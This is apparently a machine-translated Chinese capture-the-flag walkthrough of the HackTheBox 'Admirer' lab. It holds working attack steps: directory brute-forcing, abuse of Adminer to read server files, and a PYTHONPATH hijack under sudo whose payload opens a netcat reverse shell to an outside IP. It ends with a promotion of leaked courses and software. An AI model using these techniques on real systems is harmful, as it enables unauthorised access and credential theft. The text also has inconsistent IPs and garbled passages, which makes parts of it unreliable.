砍箱子。演练崇拜者。通过环境变量欺骗在Admirer和RCE中的漏洞



我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案



在本文中,我们进行了大量扫描,在Admirer中利用RCE,并更改环境变量以运行我们的python代码。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .





侦察



这台机器的IP地址为10.10.10.189,我将其添加到/ etc / hosts中。



10.10.10.187 	admirer.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。

nmap -A admirer.htb -p80,22,21






从nmap扫描结果中,选择下一步。因此,服务器具有FTP和SSH服务,但它们需要凭据。还有一个带有robots.txt文件的Apache Web服务器。该文件中只有一个条目-admin-dir目录。由于没有提供更多信息,因此我们的下一步是扫描目录。为此,我们使用了快速弹射器。在参数中,我们指示我们要扫描目录(dir),指示站点(-u),单词列表(-w),我们感兴趣的扩展名(-x),线程数(-t)。

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






我们找到两个文件,第一个包含电子邮件地址,第二个包含各种凭证。











在凭据中,我们找到了FTP凭据。并且我们成功连接。







让我们看看服务器。







让我们下载所有文件。







有人怀疑此存档是站点的备份,让我们解压缩它并查看其中的内容。

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






再次有一个robots.txt文件和某种秘密目录,其中包含所有相同的contact.txt和凭据.txt文件。







第一个文件与现有文件没有什么不同,但是在凭据中有我们没有的那些。







尝试使用它们后,我们一无所获。让我们寻找用户并在所有下载的文件中传递行。

grep -R -i "user\|pass" ./






而且我们为同一用户找到了另外两个密码。我已经收集了所有可用的凭证。







但是他们也没来。



入口点



如果您尝试执行网站上未解决的任务,我们将予以拒绝。















由于所有可执行文件都位于Utility-scripts目录中,因此让我们在主机上进行扫描,以查找php文件。

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






我们找到了文件admirer.php。







在寻找信息之后,从以下 来源可以清楚地了解如何获得RCE。如果将主机指定为服务器,则可以看到连接尝试。



让我们在本地主机上启动myqsl服务。

sudo service mysql start
sudo mysql -u root


我们将创建一个授权用户。

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






现在,让我们更改配置文件/etc/mysql/mariadb.conf.d/50-server.cnf,以便任何人都可以连接到我们的主机。为此,请注释掉绑定地址行并重新启动服务。







sudo service mysql restart


我们代表新创建的用户登录。











用户



让我们选择数据库。







接下来,让我们创建一个表。







然后,我们将执行一个SQL查询以读取index.php文件,在其中我们可以找到凭据(就像在备份中一样)。

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






现在,我们继续创建的表。







我们将找到凭据。







并使用此密码,我们通过SSH成功​​登录。





















让我们检查sudo设置。







因此,我们可以以超级用户身份执行此脚本。查看此脚本时,我们发现python脚本的执行,该脚本也在sudo下执行。







并且在脚本本身中,指定了隐式导入。







让我们看看环境变量,我们对python路径感兴趣。







这样,我们可以创建一个具有相同名称,包含相同功能但执行不同操作的文件。然后更改此环境变量,我们将运行程序,这将导致文件执行。

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






让我们执行脚本。

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






我们得到了一个反向连接外壳。







我们对此机器拥有完全控制权。



您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles